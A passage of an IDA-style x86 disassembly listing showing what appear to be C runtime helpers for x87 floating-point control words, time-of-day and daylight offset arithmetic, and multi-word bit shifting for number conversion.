mov ecx, [ebp+arg_8]
and ecx, 3
test ecx, ecx
jnz short loc_4296AC
mov edx, [ebp+arg_C]
mov eax, dword_444594[edx*4]
mov [ebp+var_10], eax
jmp short loc_4296B9
; ---------------------------------------------------------------------------
loc_4296AC: ; CODE XREF: sub_4295F0+ABj
mov ecx, [ebp+arg_C]
mov edx, dword_4445C8[ecx*4]
mov [ebp+var_10], edx
loc_4296B9: ; CODE XREF: sub_4295F0+BAj
mov eax, [ebp+var_8]
cmp eax, [ebp+var_10]
jle short loc_4296CA
mov ecx, [ebp+var_8]
sub ecx, 7
mov [ebp+var_8], ecx
loc_4296CA: ; CODE XREF: sub_4295F0+A1j
; sub_4295F0+CFj
jmp short loc_429701
; ---------------------------------------------------------------------------
loc_4296CC: ; CODE XREF: sub_4295F0+Aj
mov edx, [ebp+arg_8]
and edx, 3
test edx, edx
jnz short loc_4296E5
mov eax, [ebp+arg_C]
mov ecx, dword_444590[eax*4]
mov [ebp+var_14], ecx
jmp short loc_4296F2
; ---------------------------------------------------------------------------
loc_4296E5: ; CODE XREF: sub_4295F0+E4j
mov edx, [ebp+arg_C]
mov eax, dword_4445C4[edx*4]
mov [ebp+var_14], eax
loc_4296F2: ; CODE XREF: sub_4295F0+F3j
mov ecx, [ebp+var_14]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
add edx, [ebp+arg_18]
mov [ebp+var_8], edx
loc_429701: ; CODE XREF: sub_4295F0:loc_4296CAj
cmp [ebp+arg_0], 1
jnz short loc_429741
mov eax, [ebp+var_8]
mov dword_44457C, eax
mov ecx, [ebp+arg_1C]
imul ecx, 3Ch
mov edx, [ebp+arg_20]
add edx, ecx
imul edx, 3Ch
mov eax, [ebp+arg_24]
add eax, edx
imul eax, 3E8h
mov ecx, [ebp+arg_28]
add ecx, eax
mov dword_444580, ecx
mov edx, [ebp+arg_8]
mov dword_444578, edx
jmp loc_4297E4
; ---------------------------------------------------------------------------
loc_429741: ; CODE XREF: sub_4295F0+115j
mov eax, [ebp+var_8]
mov dword_44458C, eax
mov ecx, [ebp+arg_1C]
imul ecx, 3Ch
mov edx, [ebp+arg_20]
add edx, ecx
imul edx, 3Ch
mov eax, [ebp+arg_24]
add eax, edx
imul eax, 3E8h
mov ecx, [ebp+arg_28]
add ecx, eax
mov dword_444590, ecx
mov edx, dword_4444E8
imul edx, 3E8h
mov eax, dword_444590
add eax, edx
mov dword_444590, eax
cmp dword_444590, 0
jge short loc_4297B1
mov ecx, dword_444590
add ecx, 5265C00h
mov dword_444590, ecx
mov edx, dword_44458C
sub edx, 1
mov dword_44458C, edx
jmp short loc_4297DB
; ---------------------------------------------------------------------------
loc_4297B1: ; CODE XREF: sub_4295F0+19Cj
cmp dword_444590, 5265C00h
jl short loc_4297DB
mov eax, dword_444590
sub eax, 5265C00h
mov dword_444590, eax
mov ecx, dword_44458C
add ecx, 1
mov dword_44458C, ecx
loc_4297DB: ; CODE XREF: sub_4295F0+1BFj
; sub_4295F0+1CBj
mov edx, [ebp+arg_8]
mov dword_444588, edx
loc_4297E4: ; CODE XREF: sub_4295F0+14Cj
mov esp, ebp
pop ebp
retn
sub_4295F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4297F0 proc near ; CODE XREF: sub_422E90+5Ap
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_4297F0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fstsw word ptr [ebp-4]
mov ax, [ebp-4]
push eax
call sub_429BF0
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fnstsw word ptr [ebp-4]
fnclex
mov ax, [ebp-4]
push eax
call sub_429BF0
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429840 proc near ; CODE XREF: sub_429890+10p
var_10 = word ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
fstcw [ebp+var_10]
mov ax, [ebp+var_10]
push eax
call sub_429910
add esp, 4
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
and ecx, [ebp+arg_4]
mov edx, [ebp+arg_4]
not edx
mov eax, [ebp+var_8]
and eax, edx
or ecx, eax
mov [ebp+var_C], ecx
mov ecx, [ebp+var_C]
push ecx
call sub_429A90
add esp, 4
mov [ebp+var_4], ax
fldcw [ebp+var_4]
mov eax, [ebp+var_C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_429840 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429890 proc near ; CODE XREF: sub_4233E0+Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
and eax, 0FFF7FFFFh
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_429840
add esp, 8
pop ebp
retn
sub_429890 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
call sub_427600
mov eax, [eax]
mov [ebp-4], eax
fninit
call sub_4233E0
cmp dword ptr [ebp-4], 0
jz short loc_429901
mov ecx, [ebp-4]
mov edx, [ecx+4]
mov eax, [edx]
and eax, 10008h
test eax, eax
jz short loc_429901
mov ecx, [ebp-4]
mov edx, [ecx+4]
add edx, 1Ch
mov [ebp-8], edx
mov eax, [ebp-8]
mov dword ptr [eax+4], 0
mov ecx, [ebp-8]
mov dword ptr [ecx+8], 0FFFFh
loc_429901: ; CODE XREF: ___:004298CEj
; ___:004298DFj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429910 proc near ; CODE XREF: sub_429840+12p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 1
test eax, eax
jz short loc_429935
mov ecx, [ebp+var_4]
or ecx, 10h
mov [ebp+var_4], ecx
loc_429935: ; CODE XREF: sub_429910+1Aj
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 4
test edx, edx
jz short loc_42994D
mov eax, [ebp+var_4]
or al, 8
mov [ebp+var_4], eax
loc_42994D: ; CODE XREF: sub_429910+33j
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 8
test ecx, ecx
jz short loc_429966
mov edx, [ebp+var_4]
or edx, 4
mov [ebp+var_4], edx
loc_429966: ; CODE XREF: sub_429910+4Bj
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 10h
test eax, eax
jz short loc_42997E
mov ecx, [ebp+var_4]
or ecx, 2
mov [ebp+var_4], ecx
loc_42997E: ; CODE XREF: sub_429910+63j
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 20h
test edx, edx
jz short loc_429996
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
loc_429996: ; CODE XREF: sub_429910+7Cj
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 2
test ecx, ecx
jz short loc_4299B2
mov edx, [ebp+var_4]
or edx, 80000h
mov [ebp+var_4], edx
loc_4299B2: ; CODE XREF: sub_429910+94j
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 0C00h
mov [ebp+var_8], eax
cmp [ebp+var_8], 800h
jg short loc_4299E5
cmp [ebp+var_8], 800h
jz short loc_4299F8
cmp [ebp+var_8], 0
jz short loc_4299F0
cmp [ebp+var_8], 400h
jz short loc_429A03
jmp short loc_429A17
; ---------------------------------------------------------------------------
loc_4299E5: ; CODE XREF: sub_429910+B9j
cmp [ebp+var_8], 0C00h
jz short loc_429A0E
jmp short loc_429A17
; ---------------------------------------------------------------------------
loc_4299F0: ; CODE XREF: sub_429910+C8j
mov ecx, [ebp+var_4]
mov [ebp+var_4], ecx
jmp short loc_429A17
; ---------------------------------------------------------------------------
loc_4299F8: ; CODE XREF: sub_429910+C2j
mov edx, [ebp+var_4]
or dh, 2
mov [ebp+var_4], edx
jmp short loc_429A17
; ---------------------------------------------------------------------------
loc_429A03: ; CODE XREF: sub_429910+D1j
mov eax, [ebp+var_4]
or ah, 1
mov [ebp+var_4], eax
jmp short loc_429A17
; ---------------------------------------------------------------------------
loc_429A0E: ; CODE XREF: sub_429910+DCj
mov ecx, [ebp+var_4]
or ch, 3
mov [ebp+var_4], ecx
loc_429A17: ; CODE XREF: sub_429910+D3j
; sub_429910+DEj ...
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 300h
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jz short loc_429A59
cmp [ebp+var_C], 200h
jz short loc_429A4B
cmp [ebp+var_C], 300h
jz short loc_429A43
jmp short loc_429A65
; ---------------------------------------------------------------------------
loc_429A43: ; CODE XREF: sub_429910+12Fj
mov eax, [ebp+var_4]
mov [ebp+var_4], eax
jmp short loc_429A65
; ---------------------------------------------------------------------------
loc_429A4B: ; CODE XREF: sub_429910+126j
mov ecx, [ebp+var_4]
or ecx, 10000h
mov [ebp+var_4], ecx
jmp short loc_429A65
; ---------------------------------------------------------------------------
loc_429A59: ; CODE XREF: sub_429910+11Dj
mov edx, [ebp+var_4]
or edx, 20000h
mov [ebp+var_4], edx
loc_429A65: ; CODE XREF: sub_429910+131j
; sub_429910+139j ...
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 1000h
test eax, eax
jz short loc_429A82
mov ecx, [ebp+var_4]
or ecx, 40000h
mov [ebp+var_4], ecx
loc_429A82: ; CODE XREF: sub_429910+164j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_429910 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429A90 proc near ; CODE XREF: sub_429840+36p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
and eax, 10h
test eax, eax
jz short loc_429AB1
mov cx, [ebp+var_4]
or cl, 1
mov [ebp+var_4], cx
loc_429AB1: ; CODE XREF: sub_429A90+14j
mov edx, [ebp+arg_0]
and edx, 8
test edx, edx
jz short loc_429AC5
mov ax, [ebp+var_4]
or al, 4
mov [ebp+var_4], ax
loc_429AC5: ; CODE XREF: sub_429A90+29j
mov ecx, [ebp+arg_0]
and ecx, 4
test ecx, ecx
jz short loc_429ADA
mov dx, [ebp+var_4]
or dl, 8
mov [ebp+var_4], dx
loc_429ADA: ; CODE XREF: sub_429A90+3Dj
mov eax, [ebp+arg_0]
and eax, 2
test eax, eax
jz short loc_429AEF
mov cx, [ebp+var_4]
or cl, 10h
mov [ebp+var_4], cx
loc_429AEF: ; CODE XREF: sub_429A90+52j
mov edx, [ebp+arg_0]
and edx, 1
test edx, edx
jz short loc_429B03
mov ax, [ebp+var_4]
or al, 20h
mov [ebp+var_4], ax
loc_429B03: ; CODE XREF: sub_429A90+67j
mov ecx, [ebp+arg_0]
and ecx, 80000h
test ecx, ecx
jz short loc_429B1B
mov dx, [ebp+var_4]
or dl, 2
mov [ebp+var_4], dx
loc_429B1B: ; CODE XREF: sub_429A90+7Ej
mov eax, [ebp+arg_0]
and eax, 300h
mov [ebp+var_8], eax
cmp [ebp+var_8], 200h
ja short loc_429B49
cmp [ebp+var_8], 200h
jz short loc_429B5E
cmp [ebp+var_8], 0
jz short loc_429B54
cmp [ebp+var_8], 100h
jz short loc_429B6B
jmp short loc_429B83
; ---------------------------------------------------------------------------
loc_429B49: ; CODE XREF: sub_429A90+9Dj
cmp [ebp+var_8], 300h
jz short loc_429B78
jmp short loc_429B83
; ---------------------------------------------------------------------------
loc_429B54: ; CODE XREF: sub_429A90+ACj
mov cx, [ebp+var_4]
mov [ebp+var_4], cx
jmp short loc_429B83
; ---------------------------------------------------------------------------
loc_429B5E: ; CODE XREF: sub_429A90+A6j
mov dx, [ebp+var_4]
or dh, 8
mov [ebp+var_4], dx
jmp short loc_429B83
; ---------------------------------------------------------------------------
loc_429B6B: ; CODE XREF: sub_429A90+B5j
mov ax, [ebp+var_4]
or ah, 4
mov [ebp+var_4], ax
jmp short loc_429B83
; ---------------------------------------------------------------------------
loc_429B78: ; CODE XREF: sub_429A90+C0j
mov cx, [ebp+var_4]
or ch, 0Ch
mov [ebp+var_4], cx
loc_429B83: ; CODE XREF: sub_429A90+B7j
; sub_429A90+C2j ...
mov edx, [ebp+arg_0]
and edx, 30000h
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jz short loc_429BA9
cmp [ebp+var_C], 10000h
jz short loc_429BB6
cmp [ebp+var_C], 20000h
jz short loc_429BC3
jmp short loc_429BCB
; ---------------------------------------------------------------------------
loc_429BA9: ; CODE XREF: sub_429A90+103j
mov ax, [ebp+var_4]
or ah, 3
mov [ebp+var_4], ax
jmp short loc_429BCB
; ---------------------------------------------------------------------------
loc_429BB6: ; CODE XREF: sub_429A90+10Cj
mov cx, [ebp+var_4]
or ch, 2
mov [ebp+var_4], cx
jmp short loc_429BCB
; ---------------------------------------------------------------------------
loc_429BC3: ; CODE XREF: sub_429A90+115j
mov dx, [ebp+var_4]
mov [ebp+var_4], dx
loc_429BCB: ; CODE XREF: sub_429A90+117j
; sub_429A90+124j ...
mov eax, [ebp+arg_0]
and eax, 40000h
test eax, eax
jz short loc_429BE2
mov cx, [ebp+var_4]
or ch, 10h
mov [ebp+var_4], cx
loc_429BE2: ; CODE XREF: sub_429A90+145j
mov ax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_429A90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429BF0 proc near ; CODE XREF: ___:00429810p
; ___:00429831p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 1
test eax, eax
jz short loc_429C13
mov ecx, [ebp+var_4]
or ecx, 10h
mov [ebp+var_4], ecx
loc_429C13: ; CODE XREF: sub_429BF0+18j
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 4
test edx, edx
jz short loc_429C2B
mov eax, [ebp+var_4]
or al, 8
mov [ebp+var_4], eax
loc_429C2B: ; CODE XREF: sub_429BF0+31j
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 8
test ecx, ecx
jz short loc_429C44
mov edx, [ebp+var_4]
or edx, 4
mov [ebp+var_4], edx
loc_429C44: ; CODE XREF: sub_429BF0+49j
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 10h
test eax, eax
jz short loc_429C5C
mov ecx, [ebp+var_4]
or ecx, 2
mov [ebp+var_4], ecx
loc_429C5C: ; CODE XREF: sub_429BF0+61j
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 20h
test edx, edx
jz short loc_429C74
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
loc_429C74: ; CODE XREF: sub_429BF0+7Aj
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 2
test ecx, ecx
jz short loc_429C90
mov edx, [ebp+var_4]
or edx, 80000h
mov [ebp+var_4], edx
loc_429C90: ; CODE XREF: sub_429BF0+92j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_429BF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429CA0 proc near ; CODE XREF: sub_429DE0+70p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
and eax, 8000001Fh
jns short loc_429CC4
dec eax
or eax, 0FFFFFFE0h
inc eax
loc_429CC4: ; CODE XREF: sub_429CA0+1Dj
mov ecx, 1Fh
sub ecx, eax
mov [ebp+var_4], ecx
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_4]
shl edx, cl
not edx
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
and edx, [ebp+var_8]
test edx, edx
jz short loc_429CEF
xor eax, eax
jmp short loc_429D20
; ---------------------------------------------------------------------------
loc_429CEF: ; CODE XREF: sub_429CA0+49j
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_429D03
; ---------------------------------------------------------------------------
loc_429CFA: ; CODE XREF: sub_429CA0:loc_429D19j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_429D03: ; CODE XREF: sub_429CA0+58j
cmp [ebp+var_C], 3
jge short loc_429D1B
mov edx, [ebp+var_C]
mov eax, [ebp+arg_0]
cmp dword ptr [eax+edx*4], 0
jz short loc_429D19
xor eax, eax
jmp short loc_429D20
; ---------------------------------------------------------------------------
loc_429D19: ; CODE XREF: sub_429CA0+73j
jmp short loc_429CFA
; ---------------------------------------------------------------------------
loc_429D1B: ; CODE XREF: sub_429CA0+67j
mov eax, 1
loc_429D20: ; CODE XREF: sub_429CA0+4Dj
; sub_429CA0+77j
mov esp, ebp
pop ebp
retn
sub_429CA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429D30 proc near ; CODE XREF: sub_429DE0+84p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
and eax, 8000001Fh
jns short loc_429D54
dec eax
or eax, 0FFFFFFE0h
inc eax
loc_429D54: ; CODE XREF: sub_429D30+1Dj
mov ecx, 1Fh
sub ecx, eax
mov [ebp+var_4], ecx
mov edx, 1
mov ecx, [ebp+var_4]
shl edx, cl
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax*4]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4]
push eax
call sub_42D150
add esp, 0Ch
mov [ebp+var_10], eax
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_C], ecx
jmp short loc_429DA2
; ---------------------------------------------------------------------------
loc_429D99: ; CODE XREF: sub_429D30+9Fj
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_429DA2: ; CODE XREF: sub_429D30+67j
cmp [ebp+var_C], 0
jl short loc_429DD1
cmp [ebp+var_10], 0
jz short loc_429DD1
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax*4]
push edx
push 1
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
push edx
call sub_42D150
add esp, 0Ch
mov [ebp+var_10], eax
jmp short loc_429D99
; ---------------------------------------------------------------------------
loc_429DD1: ; CODE XREF: sub_429D30+76j
; sub_429D30+7Cj
mov eax, [ebp+var_10]
mov esp, ebp
pop ebp
retn
sub_429D30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429DE0 proc near ; CODE XREF: sub_42A070+ABp
; sub_42A070+132p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov [ebp+var_18], 0
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_14], eax
mov edx, [ebp+var_C]
and edx, 8000001Fh
jns short loc_429E1E
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_429E1E: ; CODE XREF: sub_429DE0+37j
mov eax, 1Fh
sub eax, edx
mov [ebp+var_8], eax
mov edx, 1
mov ecx, [ebp+var_8]
shl edx, cl
mov [ebp+var_1C], edx
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
and edx, [ebp+var_1C]
test edx, edx
jz short loc_429E6F
mov eax, [ebp+var_C]
add eax, 1
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_429CA0
add esp, 8
test eax, eax
jnz short loc_429E6F
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_429D30
add esp, 8
mov [ebp+var_18], eax
loc_429E6F: ; CODE XREF: sub_429DE0+63j
; sub_429DE0+7Aj
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_8]
shl edx, cl
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
mov eax, [ecx+eax*4]
and eax, edx
mov ecx, [ebp+var_14]
mov edx, [ebp+arg_0]
mov [edx+ecx*4], eax
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_10], eax
jmp short loc_429E9F
; ---------------------------------------------------------------------------
loc_429E96: ; CODE XREF: sub_429DE0+D2j
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_429E9F: ; CODE XREF: sub_429DE0+B4j
cmp [ebp+var_10], 3
jge short loc_429EB4
mov edx, [ebp+var_10]
mov eax, [ebp+arg_0]
mov dword ptr [eax+edx*4], 0
jmp short loc_429E96
; ---------------------------------------------------------------------------
loc_429EB4: ; CODE XREF: sub_429DE0+C3j
mov eax, [ebp+var_18]
mov esp, ebp
pop ebp
retn
sub_429DE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429EC0 proc near ; CODE XREF: sub_42A070+98p
; sub_42A070+10Fp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
mov [ebp+var_C], 0
jmp short loc_429EE4
; ---------------------------------------------------------------------------
loc_429EDB: ; CODE XREF: sub_429EC0+46j
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_429EE4: ; CODE XREF: sub_429EC0+19j
cmp [ebp+var_C], 3
jge short loc_429F08
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_8]
add eax, 4
mov [ebp+var_8], eax
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
jmp short loc_429EDB
; ---------------------------------------------------------------------------
loc_429F08: ; CODE XREF: sub_429EC0+28j
mov esp, ebp
pop ebp
retn
sub_429EC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429F10 proc near ; CODE XREF: sub_42A070+7Cp
; sub_42A070+D5p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_429F26
; ---------------------------------------------------------------------------
loc_429F1D: ; CODE XREF: sub_429F10+29j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_429F26: ; CODE XREF: sub_429F10+Bj
cmp [ebp+var_4], 3
jge short loc_429F3B
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov dword ptr [edx+ecx*4], 0
jmp short loc_429F1D
; ---------------------------------------------------------------------------
loc_429F3B: ; CODE XREF: sub_429F10+1Aj
mov esp, ebp
pop ebp
retn
sub_429F10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429F40 proc near ; CODE XREF: sub_42A070+63p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_429F56
; ---------------------------------------------------------------------------
loc_429F4D: ; CODE XREF: sub_429F40:loc_429F6Cj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_429F56: ; CODE XREF: sub_429F40+Bj
cmp [ebp+var_4], 3
jge short loc_429F6E
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
cmp dword ptr [edx+ecx*4], 0
jz short loc_429F6C
xor eax, eax
jmp short loc_429F73
; ---------------------------------------------------------------------------
loc_429F6C: ; CODE XREF: sub_429F40+26j
jmp short loc_429F4D
; ---------------------------------------------------------------------------
loc_429F6E: ; CODE XREF: sub_429F40+1Aj
mov eax, 1
loc_429F73: ; CODE XREF: sub_429F40+2Aj
mov esp, ebp
pop ebp
retn
sub_429F40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429F80 proc near ; CODE XREF: sub_42A070+11Fp
; sub_42A070+148p ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov eax, [ebp+arg_4]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_18], eax
mov eax, [ebp+arg_4]
and eax, 8000001Fh
jns short loc_429FA5
dec eax
or eax, 0FFFFFFE0h
inc eax
loc_429FA5: ; CODE XREF: sub_429F80+1Ej
mov [ebp+var_4], eax
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_4]
shl edx, cl
not edx
mov [ebp+var_14], edx
mov [ebp+var_8], 0
mov [ebp+var_C], 0
jmp short loc_429FCE
; ---------------------------------------------------------------------------
loc_429FC5: ; CODE XREF: sub_429F80+9Fj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_429FCE: ; CODE XREF: sub_429F80+43j
cmp [ebp+var_C], 3
jge short loc_42A021
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4]
and eax, [ebp+var_14]
mov [ebp+var_10], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4]
mov ecx, [ebp+var_4]
shr eax, cl
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov [edx+ecx*4], eax
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
or edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov [ecx+eax*4], edx
mov ecx, 20h
sub ecx, [ebp+var_4]
mov edx, [ebp+var_10]
shl edx, cl
mov [ebp+var_8], edx
jmp short loc_429FC5
; ---------------------------------------------------------------------------
loc_42A021: ; CODE XREF: sub_429F80+52j
mov [ebp+var_C], 2
jmp short loc_42A033
; ---------------------------------------------------------------------------
loc_42A02A: ; CODE XREF: sub_429F80:loc_42A065j
mov eax, [ebp+var_C]
sub eax, 1
mov [ebp+var_C], eax
loc_42A033: ; CODE XREF: sub_429F80+A8j
cmp [ebp+var_C], 0
jl short loc_42A067
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_18]
jl short loc_42A058
mov edx, [ebp+var_C]
sub edx, [ebp+var_18]
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov esi, [ebp+arg_0]
mov edx, [esi+edx*4]
mov [ecx+eax*4], edx
jmp short loc_42A065
; ---------------------------------------------------------------------------
loc_42A058: ; CODE XREF: sub_429F80+BFj
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+eax*4], 0
loc_42A065: ; CODE XREF: sub_429F80+D6j
jmp short loc_42A02A
; ---------------------------------------------------------------------------
loc_42A067: ; CODE XREF: sub_429F80+B7j
pop esi
mov esp, ebp
pop ebp
retn
sub_429F80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A070 proc near ; CODE XREF: sub_42A2C0+10p
; sub_42A2E0+10p
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 34h
mov eax, [ebp+arg_0]
